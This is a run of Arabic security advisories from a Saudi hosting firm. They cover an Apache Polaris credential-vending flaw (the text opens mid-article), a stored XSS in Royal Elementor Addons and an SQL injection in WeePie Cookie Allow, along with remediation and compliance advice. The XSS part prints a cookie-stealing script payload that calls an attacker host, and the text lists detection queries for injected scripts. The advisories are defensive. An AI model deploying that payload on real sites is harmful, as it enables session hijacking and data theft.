تشغيل عمليات التحقق الاعتيادية من صحة الموقع (Location Validation).
إجراء فحص التداخل (Overlap Checks) مع مواقع الجداول الأخرى المسجلة في الكتالوج.
حجز الموقع بشكل دائم (Durable Reservation) قبل إصدار البيانات.
المتغير المؤكد للاستغلال
في السيناريو المؤكد، يستطيع المهاجم الذي يملك صلاحية إنشاء جداول مرحلية أن يُحدد قيمة location تشير إلى مسار جدول آخر يخص مستأجراً مختلفاً أو إلى بيانات حساسة داخل نفس bucket التخزين. يقوم Polaris بإنشاء بيانات اعتماد ذات صلاحية وصول إلى هذا المسار، مما يمنح المهاجم قدرة فعلية على قراءة أو تعديل أو حذف بيانات لا تعود له.
متجهات ثانوية
تقبل ذات المسار البرمجي أيضاً الخصائص write.data.path وwrite.metadata.path ضمن الطلب، ويتم تمريرها إلى مجموعة المواقع الفعّالة المستخدمة في إصدار بيانات الاعتماد، دون تحقق كافٍ منها. وبذلك تُضاف نقاط دخول إضافية للاستغلال.
الامتيازات المطلوبة: منخفضة (Low) — يكفي أن يملك المهاجم حساباً عادياً بصلاحية إنشاء جداول.
تدخل المستخدم: غير مطلوب.
نطاق التأثير: تجاوز النطاق (Scope: Changed)، أي أن الثغرة تؤثر على موارد خارج نطاق المكون المُصاب نفسه.
التأثير على السرية والسلامة والتوفر: مرتفع (High) في جميعها.
سيناريوهات استغلال واقعية
اختراق العزل بين المستأجرين (Multi-Tenant Breach): في بيئات Lakehouse المشتركة بين عدة إدارات داخل نفس المؤسسة، يستطيع مستأجر خبيث الوصول إلى بيانات مستأجر آخر.
تسريب بيانات مالية أو صحية: في البنوك والمستشفيات السعودية التي تستخدم Polaris لإدارة بحيرات البيانات، قد يؤدي الاستغلال إلى تسريب سجلات العملاء أو البيانات الصحية المحمية بموجب نظام حماية البيانات الشخصية (PDPL).
تخريب سلامة البيانات: إمكانية كتابة بيانات خبيثة في مسارات جداول أخرى، مما يُفسد تحليلات الأعمال أو نماذج الذكاء الاصطناعي المبنية على تلك البيانات.
التحرك الجانبي: استخدام بيانات الاعتماد المُسرّبة للوصول إلى موارد تخزين أخرى داخل نفس حساب السحابة.
◎الأنظمة والإصدارات المتأثرة
تؤثر الثغرة على إصدارات Apache Polaris التي تدعم مسار إنشاء الجداول المرحلية مع Credential Vending دون التحقق الكافي من الموقع. يُنصح بمراجعة إعلان المشروع الرسمي عبر القائمة البريدية لفريق Apache Polaris والإعلان على oss-security للحصول على أرقام الإصدارات الدقيقة المتأثرة والمُصححة.
تشمل البيئات المعرضة للخطر:
منصات Lakehouse المبنية على Apache Iceberg + Polaris Catalog.
بيئات Snowflake Open Catalog المستندة إلى Polaris.
نشرات Polaris الذاتية (Self-Hosted) على Kubernetes أو الخوادم التقليدية.
الأنظمة المتكاملة مع Spark وTrino وFlink عبر كتالوج Polaris.
◎خطوات المعالجة الموصى بها لمديري الأنظمة في المملكة
1. الترقية الفورية
طبّق الإصدار المُصحّح من Apache Polaris بمجرد توفره في السجل الرسمي للمشروع. اعتبر هذه الترقية ذات أولوية قصوى ضمن نافذة صيانة طارئة، خصوصاً إذا كان الكتالوج متاحاً لمستخدمين متعددين أو مكشوفاً لشبكات غير موثوقة.
2. إجراءات التخفيف المؤقتة
تقييد صلاحية إنشاء الجداول المرحلية: قصر صلاحية CREATE_TABLE_STAGED على مجموعة محدودة جداً من المستخدمين الموثوقين إدارياً.
تعطيل Credential Vending للجداول المرحلية: إن أمكن من خلال إعدادات Polaris، عطّل إصدار بيانات الاعتماد عبر مسار Staged Create حتى تطبيق الترقية.
فرض قوائم مواقع مسموح بها (Allowlist): تأكد من تفعيل سياسة Storage Location Allowlist على مستوى الكتالوج لحصر المواقع المقبولة ضمن نطاق Bucket محدد لكل مستأجر.
تفعيل سياسات IAM مشددة: اعتمد على Bucket Policies وRole Boundaries على مستوى مزود السحابة لمنع أي بيانات اعتماد من الوصول خارج نطاق المستأجر، حتى لو أصدر Polaris بيانات اعتماد أوسع بالخطأ.
3. المراجعة السجلية والتحقيق الجنائي الرقمي
راجع سجلات Polaris الخاصة بعمليات createTable خلال الأشهر الماضية، وابحث عن:
طلبات إنشاء جداول مرحلية تحتوي على قيم location مخصصة خارج المسار الافتراضي للمستأجر.
استخدام خصائص write.data.path أو write.metadata.path في طلبات الإنشاء.
أنماط وصول غير اعتيادية باستخدام بيانات اعتماد مؤقتة صادرة عن Polaris.
في حال اكتشاف أي مؤشر اختراق، أبلغ فوراً فريق الاستجابة للحوادث الداخلي، وأخطر المركز الوطني الإرشادي للأمن السيبراني التابع للهيئة الوطنية للأمن السيبراني وفقاً للضوابط الأساسية للأمن السيبراني (ECC-1:2018).
4. عزل الشبكة وتقليل سطح الهجوم
ضع واجهة Polaris REST خلف بوابة API داخلية أو VPN، ولا تعرضها على الإنترنت العام.
طبّق قوائم تحكم بالوصول (ACLs) على مستوى الشبكة تقصر الوصول على عناوين IP الخاصة ببيئات Spark/Trino الداخلية.
فعّل المصادقة عبر OAuth2/OIDC مع مزوّد هوية موثوق، وتحقق من دورة حياة رموز الوصول.
5. الامتثال للمتطلبات التنظيمية السعودية
تُلزم هيئة الاتصالات والفضاء والتقنية والهيئة الوطنية للأمن السيبراني مقدمي الخدمات السحابية والاستضافة العاملين في المملكة بتطبيق ضوابط صارمة على إدارة الثغرات الحرجة. وفق ضابط إدارة الثغرات التقنية (ECC 2-10) يجب:
تقييم الثغرات الحرجة ومعالجتها خلال مدة لا تتجاوز 72 ساعة من الإعلان عنها.
توثيق خطة المعالجة والتخفيف وإبلاغ الإدارة العليا.
مراجعة سياسة حماية البيانات الشخصية (PDPL) للتحقق من عدم تسريب بيانات العملاء في حال ثبوت الاستغلال.
◎التأثير على قطاع الاستضافة ومراكز البيانات السعودية
مع تنامي اعتماد الجهات الحكومية والقطاع المصرفي السعودي على بنى Lakehouse لدعم مبادرات رؤية 2030 وتحليلات البيانات الكبيرة، أصبحت منتجات مثل Apache Polaris جزءاً محورياً من البنية التحتية لتقنية المعلومات. توصي فورجوالي عملاءها من مزودي الاستضافة المدارة ومديري البنى التحتية التقنية بما يلي:
إجراء جرد فوري لأي نشر لـ Apache Polaris ضمن بيئات الإنتاج أو الاختبار.
التنسيق مع فرق الأمن السيبراني لتطبيق الترقية خلال نافذة الصيانة القريبة.
مراجعة عقود مستوى الخدمة (SLA) مع العملاء للتأكد من شمولها لإجراءات الاستجابة للثغرات الحرجة.
توثيق عملية المعالجة ضمن سجل المخاطر المؤسسي.
◎خلاصة
تُمثّل الثغرة CVE-2026-42809 تذكيراً قوياً بأن آليات تفويض الصلاحيات الديناميكية مثل Credential Vending تتطلب تحققاً صارماً من كل إدخال يُقدمه المستخدم، خاصة عندما يتعلق الأمر بمسارات التخزين. إن الفشل في التحقق من موقع واحد قد يُحوّل آلية أمنية (تقييد نطاق بيانات الاعتماد) إلى سلاح بيد المهاجم. نحث جميع المؤسسات السعودية التي تعتمد على Apache Polaris على التعامل الفوري مع هذه الثغرة، والاستفادة من الاستشارات الأمنية التي يقدمها فريق فورجوالي لضمان استمرارية الأعمال وحماية البيانات الوطنية.
الأسئلة الأكثر شيوعاً
ما مدى خطورة ثغرة CVE-2026-42809 على بيئاتنا المحلية؟
الثغرة حرجة بدرجة 9.9، وتسمح لأي مستخدم يملك صلاحية إنشاء جداول مرحلية بالحصول على بيانات اعتماد للوصول إلى بيانات مستأجرين آخرين، مما يُهدد السرية والسلامة والتوفر في بيئات Lakehouse الحساسة.
كيف أعرف إذا كانت بيئتي قد تعرضت للاستغلال؟
راجع سجلات Polaris وابحث عن طلبات createTable تحتوي على قيم location مخصصة أو خصائص write.data.path وwrite.metadata.path غير متوقعة. أي نشاط وصول ببيانات اعتماد مؤقتة خارج نطاق المستأجر المعتاد يُعد مؤشر اختراق.
هل يكفي تحديث IAM Policies على مستوى السحابة دون ترقية Polaris؟
سياسات IAM المشددة تُقلل الأثر لكنها ليست بديلاً عن الترقية. Polaris قد يُصدر بيانات اعتماد بنطاق أوسع مما ينبغي، لذا الترقية إلى الإصدار المُصحّح إلزامية لسد الثغرة من جذورها.
ما المدة المسموحة لمعالجة الثغرة وفق متطلبات الهيئة الوطنية للأمن السيبراني؟
تتطلب الضوابط الأساسية للأمن السيبراني (ECC-1:2018) معالجة الثغرات الحرجة خلال مدة لا تتجاوز 72 ساعة مع توثيق الخطة وإبلاغ الإدارة العليا، بالإضافة إلى إخطار المركز الوطني الإرشادي عند وقوع حادثة.
هل تقدم فورجوالي دعماً لمراجعة البنية التحتية المتأثرة؟
نعم، يقدم فريق الأمن السيبراني في فورجوالي استشارات لمراجعة نشرات Apache Polaris والكتالوجات المماثلة، بما يشمل فحص السجلات، تقييم المخاطر، وتطبيق خطط التخفيف المتوافقة مع متطلبات CST وNCA.
◎مقدمة: تهديد جديد يطال آلاف المواقع السعودية المبنية على WordPress
في الخامس من مايو 2026، تم الإفصاح عن ثغرة أمنية خطيرة تحمل المعرّف CVE-2026-4803 تؤثر على إضافة Royal Elementor Addons الشهيرة لنظام إدارة المحتوى WordPress، وذلك بدرجة خطورة عالية (CVSS 7.2). الثغرة تصنّف ضمن فئة CWE-79 (Cross-Site Scripting) وتحديداً النوع المُخزَّن (Stored XSS)، وهو الأخطر لأنه يبقى كامناً في قاعدة البيانات ويُنفَّذ تلقائياً على كل زائر أو مسؤول.
ما يزيد من خطورة هذه الثغرة هو إمكانية استغلالها من قِبَل مهاجمين غير مُوثَّقين (Unauthenticated)، أي دون الحاجة لامتلاك حساب على الموقع، نظراً لتسرّب قيمة الـ nonce علناً، وهو ما يفتح الباب لحملات استغلال آلية واسعة النطاق تستهدف المواقع السعودية والخليجية.
◎تفاصيل الثغرة التقنية
تكمن الثغرة في معالج AJAX الخاص بالإجراء wpr_update_form_action_meta داخل ملف wpr-actions-status.php، حيث يتم استقبال قيمة المعامل status من المستخدم دون تنقية كافية للمدخلات (Input Sanitization) ودون تطبيق آلية هروب سليمة للمخرجات (Output Escaping).
العامل الأكثر خطورة هو أن قيمة nonce التحقق (المفترض أن تحمي الإجراء) مُسرَّبة بشكل علني في كود الواجهة الأمامية، مما يعني أن أي متصفح أو سكربت آلي يستطيع الحصول عليها بسهولة واستدعاء الـ AJAX endpoint باسم زائر غير مسجل الدخول.
سيناريو الاستغلال النموذجي:
المهاجم يجلب قيمة nonce من صفحة تحتوي على نموذج Royal Elementor.
يُرسل طلب POST إلى admin-ajax.php مع الإجراء wpr_update_form_action_meta.
يحقن في معامل status كود JavaScript خبيث مثل <script>fetch('https://attacker.sa/steal?c='+document.cookie)</script>.
الكود يُخزَّن في قاعدة البيانات، ويُنفَّذ في كل مرة يفتح فيها المسؤول لوحة إدارة النماذج أو المُرسلات.
النتيجة: سرقة ملفات تعريف الارتباط، اختطاف الجلسات، تصعيد الصلاحيات إلى Administrator، ثم السيطرة الكاملة على الموقع.
◎الأنظمة والإصدارات المتأثرة
الإضافة: Royal Elementor Addons (المعروفة أيضاً بـ WPR Addons).
الإصدارات المتأثرة: جميع الإصدارات حتى 1.7.1056 (شاملة).
الإصدار المُصحَّح: 1.7.1057 فما فوق (يُنصح بالترقية الفورية).
البيئة: مواقع WordPress التي تستخدم Elementor مع هذه الإضافة، بما في ذلك المتاجر الإلكترونية ومواقع الأخبار والشركات.
◎لماذا يجب على مسؤولي الاستضافة في السعودية الانتباه؟
بحسب إحصائيات استخدام WordPress في المملكة العربية السعودية ودول الخليج، تعتمد نسبة كبيرة من المواقع التجارية والإعلامية على Elementor وإضافاته المساعدة، ومنها Royal Elementor Addons التي تتجاوز 300 ألف تثبيت نشط عالمياً. في السياق المحلي:
المواقع الحكومية وشبه الحكومية التي تخضع لإشراف هيئة الاتصالات والفضاء والتقنية (CST) والتي تتبنى معايير الأمن السيبراني الصادرة عن الهيئة الوطنية للأمن السيبراني (NCA) معرّضة لانتهاك الامتثال عند إهمال هذه الترقية.
متاجر التجارة الإلكترونية التي تعالج مدفوعات عبر مدى أو Apple Pay معرّضة لسرقة بيانات العملاء، مما يُعد انتهاكاً صريحاً لـ نظام حماية البيانات الشخصية (PDPL).
مزودو الاستضافة المحليون ومراكز البيانات السعودية يواجهون مخاطر تلويث سمعة شبكاتهم وإدراج نطاقاتهم في قوائم الحظر العالمية حال استغلال مواقع عملائهم لنشر برمجيات خبيثة.
◎الخطوات العملية الموصى بها لمسؤولي النظم
1. الترقية الفورية (الإجراء الأول والأهم)
قم بتحديث إضافة Royal Elementor Addons إلى أحدث إصدار (1.7.1057 أو أعلى) من لوحة تحكم WordPress مباشرة:
قبل وبعد الترقية، افحص قاعدة البيانات بحثاً عن أي محتوى مشبوه:
SELECT * FROM wp_postmeta WHERE meta_key LIKE '%wpr%' AND meta_value LIKE '%<script%';
SELECT * FROM wp_options WHERE option_value LIKE '%onerror=%' OR option_value LIKE '%javascript:%';
3. تفعيل جدار حماية تطبيقات الويب (WAF)
قم بتفعيل قواعد WAF لحظر محاولات حقن XSS في طلبات admin-ajax.php، سواء عبر Cloudflare أو عبر حلول محلية مثل Wordfence أو Sucuri. خدمات الاستضافة السعودية المتوافقة مع معايير CST غالباً تقدم WAF مُدمجاً.
4. تدوير مفاتيح WordPress السرية
إذا اشتبهت بأن موقعك تعرّض للاستغلال، قم بتحديث مفاتيح wp-config.php لإبطال كل الجلسات النشطة:
تحقق من عدم وجود حسابات Administrator مشبوهة أُضيفت مؤخراً، وأعد تعيين كلمات المرور لجميع الحسابات ذات الصلاحيات العالية، مع تفعيل المصادقة الثنائية (2FA).
6. مراجعة سجلات الوصول
ابحث في سجلات خادم الويب عن طلبات POST مشبوهة إلى admin-ajax.php تحمل المعامل action=wpr_update_form_action_meta:
grep 'wpr_update_form_action_meta' /var/log/nginx/access.log | grep POST
◎إجراءات الحماية طويلة المدى
سياسة CSP صارمة: فعّل Content-Security-Policy لمنع تنفيذ السكربتات المُضمَّنة من مصادر غير موثوقة.
مبدأ الحد الأدنى من الإضافات: احذف كل إضافة غير مستخدمة، فكل إضافة هي سطح هجوم محتمل.
النسخ الاحتياطي اليومي: اعتمد على نسخ احتياطية مُشفَّرة ومُخزَّنة في مراكز بيانات سعودية مطابقة لمتطلبات SDAIA.
المراقبة المستمرة: استخدم أدوات مراقبة تغيّر الملفات (File Integrity Monitoring) للكشف عن أي تعديل غير مُصرَّح به.
◎مخاطر عدم الاستجابة السريعة
تجاهل هذه الثغرة قد يؤدي إلى:
اختطاف كامل للموقع وتحويله إلى منصة توزيع برمجيات خبيثة.
إدراج النطاق في قوائم Google Safe Browsing السوداء، مما يعني خسارة كاملة لحركة الزيارات العضوية.
غرامات مالية بموجب نظام حماية البيانات الشخصية السعودي قد تصل إلى 5 ملايين ريال.
فقدان شهادات الامتثال مثل ISO 27001 وPCI DSS.
تضرر سمعة العلامة التجارية وفقدان ثقة العملاء.
◎دور 4Jawaly في دعم أمان عملائها
في فورجوالي (4Jawaly)، المرخصة من هيئة الاتصالات والفضاء والتقنية (ترخيص 291-10-32) والحاصلة على شهادة ISO 27001، نولي أمان منصات الاستضافة لدينا أولوية قصوى. نوفر لعملائنا في قطاعات التجارة الإلكترونية والإعلام بيئات WordPress مُحصَّنة مع تحديثات تلقائية، جدران حماية تطبيقات ويب، ومراقبة على مدار الساعة، إلى جانب حلول إشعارات SMS وواتساب للتنبيه الفوري عند اكتشاف أنشطة مشبوهة على حسابات الإدارة.
◎خاتمة
ثغرة CVE-2026-4803 ليست مجرد خلل تقني عابر، بل تذكير صارم بأن أمان WordPress يعتمد على أضعف إضافة مُثبَّتة. مع وجود nonce مُسرَّب علناً وإمكانية الاستغلال من مهاجمين غير مسجلين، فإن الفترة الزمنية بين الإفصاح وموجة الاستغلال الآلي ستكون قصيرة جداً. نُوصي كل مسؤول نظم في المملكة والخليج بإجراء الترقية خلال 24 ساعة وإجراء فحص شامل للاختراق.
الأسئلة الأكثر شيوعاً
ما مدى خطورة ثغرة CVE-2026-4803؟
الخطورة عالية بتقييم CVSS 7.2، وما يزيدها خطورة أنها تسمح للمهاجمين غير المسجلين باستغلالها بسبب تسرّب nonce التحقق علناً، مما يجعل الاستغلال الآلي الجماعي ممكناً.
كيف أعرف إذا كان موقعي مُصاباً؟
افحص جدول wp_postmeta في قاعدة البيانات بحثاً عن قيم تحتوي على وسوم ، وراجع سجلات admin-ajax.php للبحث عن طلبات POST تحمل action=wpr_update_form_action_meta، وتحقق من عدم وجود حسابات Administrator مشبوهة.
ما الإصدار الآمن من إضافة Royal Elementor Addons؟
الإصدار 1.7.1057 فما فوق هو الإصدار المُصحَّح. جميع الإصدارات حتى 1.7.1056 مشمولة (شاملة) متأثرة بالثغرة.
هل يكفي تحديث الإضافة فقط؟
التحديث خطوة أساسية لكن غير كافية إذا كان الموقع قد استُغل بالفعل. يجب إجراء فحص شامل لقاعدة البيانات، تدوير مفاتيح wp-config.php، إعادة تعيين كلمات المرور، ومراجعة حسابات المسؤولين.
ما علاقة هذه الثغرة بنظام حماية البيانات الشخصية السعودي (PDPL)؟
إذا أدى استغلال الثغرة إلى تسريب بيانات شخصية لعملاء سعوديين، فإن ذلك يُعد انتهاكاً صريحاً لـ PDPL وقد يعرّض المنشأة لغرامات تصل إلى 5 ملايين ريال، إضافة إلى الالتزام بإبلاغ SDAIA خلال 72 ساعة.
◎مقدمة: ثغرة SQL Injection تهدد آلاف مواقع WordPress في المملكة
كشف باحثو الأمن السيبراني عن ثغرة أمنية حرجة في إضافة WeePie Cookie Allow الخاصة بنظام إدارة المحتوى WordPress، تم تسجيلها تحت المعرّف CVE-2026-4304 بتقييم CVSS بلغ 7.5 (عالية الخطورة). تسمح هذه الثغرة لمهاجمين غير مُصادق عليهم بتنفيذ هجمات حقن SQL عبر وسيط consent، مما يُمكّنهم من استخراج بيانات حساسة من قاعدة بيانات الموقع بما في ذلك بيانات المستخدمين وكلمات المرور المُجزّأة والمعلومات الإدارية.
تُعدّ هذه الثغرة ذات أهمية بالغة للمسؤولين التقنيين في المملكة العربية السعودية ودول الخليج، خاصة مع الانتشار الواسع لإضافات الامتثال للخصوصية بعد صدور نظام حماية البيانات الشخصية السعودي (PDPL) الذي تُشرف عليه الهيئة السعودية للبيانات والذكاء الاصطناعي (SDAIA).
◎التفاصيل التقنية للثغرة
تنتمي هذه الثغرة إلى تصنيف CWE-89 المعروف بـ “التحييد غير الملائم للعناصر الخاصة المستخدمة في أوامر SQL”. يكمن جوهر المشكلة في أن الإضافة تستقبل قيمة وسيط consent من المستخدم دون تطبيق آليات التحييد (escaping) الكافية، ودون استخدام الاستعلامات المُعدّة مسبقاً (prepared statements) بشكل سليم.
كيف يعمل الهجوم؟
يستطيع المهاجم إرسال طلب HTTP مُعدّ خصيصاً يحتوي على أوامر SQL خبيثة داخل وسيط consent. نظراً لعدم وجود تصفية مناسبة، يتم إلحاق هذه الأوامر بالاستعلام الأصلي وتنفيذها مباشرة على قاعدة البيانات. يمكن للمهاجم عبر ذلك:
استخراج محتوى جدول wp_users الذي يحوي أسماء المستخدمين والبريد الإلكتروني وكلمات المرور المُجزّأة.
الوصول إلى جدول wp_options واستخراج مفاتيح API والإعدادات الحساسة.
قراءة بيانات العملاء والمعاملات المخزّنة في جداول مخصصة.
في بعض السيناريوهات، رفع الامتيازات والسيطرة الكاملة على الموقع.
خطورة كون الهجوم لا يتطلب مصادقة
ما يُضاعف من خطورة هذه الثغرة هو أنها لا تتطلب أي مصادقة (Unauthenticated)؛ أي أن أي زائر عابر للموقع، بما في ذلك البوتات الآلية، يمكنه استغلالها. هذا يجعل الثغرة مرشحة بقوة للاستغلال الجماعي عبر أدوات المسح الآلي مثل sqlmap وغيرها.
الإصدارات المتأثرة: جميع الإصدارات حتى 3.4.11 (شاملةً).
المنصة: WordPress (جميع إصدارات النواة).
الوسيط الثغري:consent
الإضافة تُباع عبر منصة CodeCanyon ومُستخدمة على نطاق واسع من قِبل المواقع التي ترغب في الامتثال للوائح الخصوصية مثل GDPR الأوروبي و PDPL السعودي، مما يعني أن الضحايا المحتملين غالباً مواقع مؤسسية وحكومية وتجارية.
◎السياق المحلي: لماذا يجب على مسؤولي المواقع السعوديين الاهتمام؟
تشهد المملكة العربية السعودية تحولاً رقمياً متسارعاً ضمن رؤية 2030، ومع ذلك تواجه المواقع الإلكترونية المحلية تحديات أمنية متصاعدة. فيما يلي أبرز الاعتبارات المحلية:
1. الامتثال لنظام حماية البيانات الشخصية (PDPL)
بموجب نظام PDPL السعودي، يُعدّ تسرب البيانات الشخصية جريمة تستوجب غرامات قد تصل إلى 5 ملايين ريال سعودي، إضافة إلى التعويضات المدنية. استغلال هذه الثغرة يعني تسرب بيانات العملاء السعوديين، وهو ما يوقع المالك تحت طائلة العقوبة.
2. متطلبات هيئة الاتصالات والفضاء والتقنية (CST)
تُلزم هيئة الاتصالات والفضاء والتقنية (سابقاً CITC) مُزوّدي خدمات الاستضافة والمواقع بتطبيق ضوابط الأمن السيبراني الصادرة عن الهيئة الوطنية للأمن السيبراني (NCA)، بما في ذلك ضوابط ECC-1:2018، والتي تتطلب إدارة التحديثات الأمنية بشكل دوري.
3. الاستضافة المحلية ومراكز البيانات السعودية
كثير من المواقع السعودية تستضاف في مراكز بيانات محلية (مثل مراكز بيانات STC وموبايلي وشركات الاستضافة الخليجية)، وهذه البيئات تُعدّ هدفاً جذاباً للمهاجمين الإقليميين. يجب على مديري الاستضافة التنسيق مع العملاء لفرض التحديث الفوري.
قم بتنفيذ الأمر التالي عبر SSH للبحث عن الإضافة في جميع مواقع WordPress المستضافة:
find /var/www -type d -name "weepie-cookie-allow" 2>/dev/null
الخطوة 2: التحديث الفوري
قم بترقية الإضافة إلى آخر إصدار متاح من خلال:
الدخول إلى لوحة تحكم WordPress.
الانتقال إلى الإضافات > الإضافات المثبتة.
تحديث إضافة WeePie Cookie Allow.
التحقق من سجل التغييرات على الموقع الرسمي weepie-plugins.com.
الخطوة 3: الحل المؤقت في حال تعذّر التحديث
إذا لم يتوفر إصدار مُصحّح بعد، يُنصح بما يلي:
تعطيل الإضافة مؤقتاً واستبدالها بحل بديل مثل CookieYes أو Complianz.
إضافة قاعدة على جدار الحماية التطبيقي (WAF) مثل Cloudflare أو Wordfence لحظر الطلبات التي تحتوي على أنماط SQL مشبوهة في وسيط consent.
تفعيل وضع القراءة فقط لقاعدة البيانات للمستخدم العام إن أمكن.
الخطوة 4: فحص علامات الاختراق
ابحث عن مؤشرات اختراق محتملة عبر:
مراجعة سجلات الوصول access.log بحثاً عن طلبات تحتوي على كلمات مثل UNION، SELECT، INFORMATION_SCHEMA في وسيط consent.
فحص جدول wp_users بحثاً عن حسابات مشرفين غير معروفة.
تشغيل أداة فحص مثل Wordfence Scanner أو Sucuri SiteCheck.
مراجعة ملفات الموقع بحثاً عن أبواب خلفية (backdoors) بامتدادات PHP حديثة التعديل.
الخطوة 5: تدوير بيانات الاعتماد
في حال الاشتباه بالاختراق:
تغيير كلمات مرور جميع الحسابات الإدارية.
تدوير مفاتيح WordPress الأمنية (Salts) في ملف wp-config.php.
إبطال جلسات المستخدمين الحالية عبر إضافة مثل All In One WP Security.
تغيير كلمة مرور قاعدة البيانات MySQL.
◎إجراءات وقائية طويلة المدى
1. تفعيل جدار حماية تطبيقات الويب (WAF)
يُعدّ نشر WAF من أهم الإجراءات الوقائية ضد هجمات حقن SQL. تُقدّم شركة فورجوالي (4Jawaly) حلول استضافة متقدمة مع حماية WAF مُدمجة، إضافة إلى خدمات المراقبة المستمرة.
2. المراقبة المستمرة للسجلات
استخدم حلول SIEM أو أدوات مفتوحة المصدر مثل Wazuh لرصد الأنماط الشاذة في سجلات الخادم.
3. النسخ الاحتياطي المنتظم
احرص على نسخ احتياطية يومية خارج الموقع، مع اختبار استعادتها دورياً.
4. مبدأ أقل الامتيازات لقاعدة البيانات
تأكد أن مستخدم MySQL المرتبط بـ WordPress لا يمتلك صلاحيات FILE أو SUPER التي تُسهّل على المهاجمين التعمّق.
5. التوعية والتدريب
درّب فرق تقنية المعلومات على أحدث تقنيات الاستجابة للحوادث، وتابع نشرات المركز الوطني الإرشادي للأمن السيبراني (HaSad).
◎تقييم المخاطر والتأثير المحتمل
الجانب
التقييم
سهولة الاستغلال
عالية جداً – أدوات آلية متوفرة
متطلبات المصادقة
لا توجد
التأثير على السرية
مرتفع – تسرب بيانات كامل
التأثير على التوفر
منخفض إلى متوسط
احتمال الاستغلال الجماعي
مرتفع جداً
◎خاتمة
ثغرة CVE-2026-4304 تُذكّرنا مجدداً بأن إضافات WordPress تظل الحلقة الأضعف في سلسلة أمن المواقع. يجب على كل مسؤول تقني في المملكة والخليج اتخاذ إجراء فوري للتحقق من وجود الإضافة المتأثرة وتحديثها أو استبدالها. الامتثال لنظام PDPL والضوابط الوطنية للأمن السيبراني ليس خياراً، بل ضرورة قانونية وتشغيلية.
للحصول على استشارات تقنية أو خدمات استضافة آمنة ومُحسّنة للسوق السعودي، يمكنك التواصل مع فريق فورجوالي المُرخّص من هيئة الاتصالات والفضاء والتقنية، والحاصل على شهادة ISO 27001 في إدارة أمن المعلومات.
الأسئلة الأكثر شيوعاً
ما مدى خطورة ثغرة CVE-2026-4304 على موقعي السعودي؟
الثغرة مُصنّفة عالية الخطورة بتقييم CVSS 7.5، ولا تتطلب مصادقة، مما يجعل أي موقع يستخدم إضافة WeePie Cookie Allow حتى الإصدار 3.4.11 عرضة لسرقة بيانات كاملة من قاعدة البيانات. في السياق السعودي قد يُعرّضك ذلك لعقوبات نظام PDPL.
كيف أعرف إن كان موقعي مُصاباً بهذه الإضافة؟
سجّل دخولك إلى لوحة WordPress وانتقل إلى قسم الإضافات وابحث عن WeePie Cookie Allow، أو نفّذ الأمر find عبر SSH للبحث في مجلد الإضافات. إذا كانت الإضافة موجودة بإصدار 3.4.11 أو أقل فأنت مُعرّض.
ما الحل السريع إذا لم يتوفر تحديث؟
قم بتعطيل الإضافة فوراً واستبدلها ببديل آمن مثل CookieYes، مع تفعيل جدار حماية تطبيقي (WAF) مثل Cloudflare أو Wordfence لحظر محاولات حقن SQL عبر وسيط consent.
هل استغلال هذه الثغرة يُخالف نظام PDPL السعودي؟
نعم؛ إذا تسببت الثغرة في تسرب بيانات شخصية لمواطنين أو مقيمين، فأنت كمسؤول عن البيانات قد تتعرض لغرامات قد تصل إلى 5 ملايين ريال بموجب نظام حماية البيانات الشخصية، إضافة إلى التزامات الإفصاح خلال 72 ساعة.
كيف تساعد فورجوالي في حماية مواقعي من مثل هذه الثغرات؟
تُقدّم فورجوالي خدمات استضافة آمنة مع جدار حماية WAF مُدمج، مراقبة مستمرة، نسخ احتياطي يومي، واستشارات أمنية متوافقة مع ضوابط الهيئة الوطنية للأمن السيبراني وشهادة ISO 27001.
